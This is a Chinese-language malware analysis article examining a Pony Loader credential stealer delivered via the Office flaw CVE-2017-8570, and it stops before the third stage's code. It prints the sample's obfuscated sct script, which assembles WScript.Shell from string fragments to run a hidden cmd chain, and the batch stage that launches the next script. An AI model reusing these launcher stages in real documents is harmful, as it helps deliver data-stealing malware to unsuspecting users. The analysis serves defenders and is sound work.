Pony Loader窃密木马样本分析

栏目: 编程工具 · 发布时间: 5年前

内容简介：自从Pony Loader源码在论坛出售，便大规模用于窃取用户隐私数据。钓鱼攻击为最常用的手法，核心代码不断改变、投递方式也因攻击者不同而变化。这里我们分析一个通过漏洞CVE-2017-8570运行并使核心窃密恶意代码无文件落地执行的较新型样本。CVE-2017-8570漏洞为Microsoft Office的一个远程代码执行漏洞。因为Microsoft PowerPoint执行时会初始化Script”Moniker对象，并在PowerPoint播放动画期间会激活该对象，导致执行sct脚本（Windows

Pony Loader窃密木马样本分析

前言

自从Pony Loader源码在论坛出售，便大规模用于窃取用户隐私数据。钓鱼攻击为最常用的手法，核心代码不断改变、投递方式也因攻击者不同而变化。这里我们分析一个通过漏洞CVE-2017-8570运行并使核心窃密恶意代码无文件落地执行的较新型样本。

一、投递部分

CVE-2017-8570漏洞为Microsoft Office的一个远程代码执行漏洞。因为Microsoft PowerPoint执行时会初始化Script”Moniker对象，并在PowerPoint播放动画期间会激活该对象，导致执行sct脚本（Windows Script Component）文件。攻击者可以通过欺骗用户运行含有CVE-2017-8570漏洞的PPT文件分发恶意程序。

1.1分析漏洞文档

使用rtfobj.py拆解取出文档中的对象（图中的后缀名为已修改内容），可以看到文档包含sct脚本文件和许多可执行文件，猜测逻辑上是接力执行关系。

Pony Loader窃密木马样本分析

根据该漏洞的描述，最先执行的是sct脚本文件；如果文档包涵多个sct文件时，可通过分析sct文件或查看bin对象确认启动顺序和路径；该bin文件二进制内容显示，首先执行的是临时文件下的a.sct样本（不区分大小写）。

Pony Loader窃密木马样本分析

1.样本a.sct的主要内容是运行样本ufFm.cmd，具体内容如下：

<script>
<![CDATA[
function tbpofmq(hello)
{
_ActiveXObj = this['Act'+'iveXO'+'bject'];
var nnqybb='ell';
var unzhb='t.';
var yybfex='rip';
var unzznjf='WSc';
var yubz='Sh';
var shdkqn = new _ActiveXObj(unzznjf + yybfex + unzhb + yubz + nnqybb);
shdkqn["Run"](hello, 0, 1);
}

var opznjaf='"';

var unzk18="MD" + opznjaf;

var mqiojnj3="C";

var rtqnooznn5 ="m";

var oonnzzh4="<";

var nqyznfhw0=mqiojnj3+"mD ";

var iqmzghsl= nqyznfhw0 + "/" + mqiojnj3 + " " + nqyznfhw0 + oonnzzh4 + " " + opznjaf + "%Te" + rtqnooznn5 + "P%\ufFm.c" + unzk18;

tbpofmq(iqmzghsl);]]>

</script>

2.样本ufFm.cmd的主要功能是启动itnqknf5.CMD：

ECHO OFF
set uninmqofhjs="%uSeRpRofilE%"
set ntzyqjpa="appDataloCalTeMpblOCk.tXt"
IF EXIST %uninmqofhjs%%ntzyqjpa% (exit) ELSE (copy NUL %uninmqofhjs%%ntzyqjpa% & cd %temp% & START /b itnqknf5.CMD)

3.样本itnqknf5.CMD的主要功能为：通过修改注册表改变word的安全设置选项；启动与之前名称相同的文档迷惑受害者；解压1.zip压缩包并启动压缩包中的saver.scr程序；最后删除之前的样本文件。具体代码如下：

Pony Loader窃密木马样本分析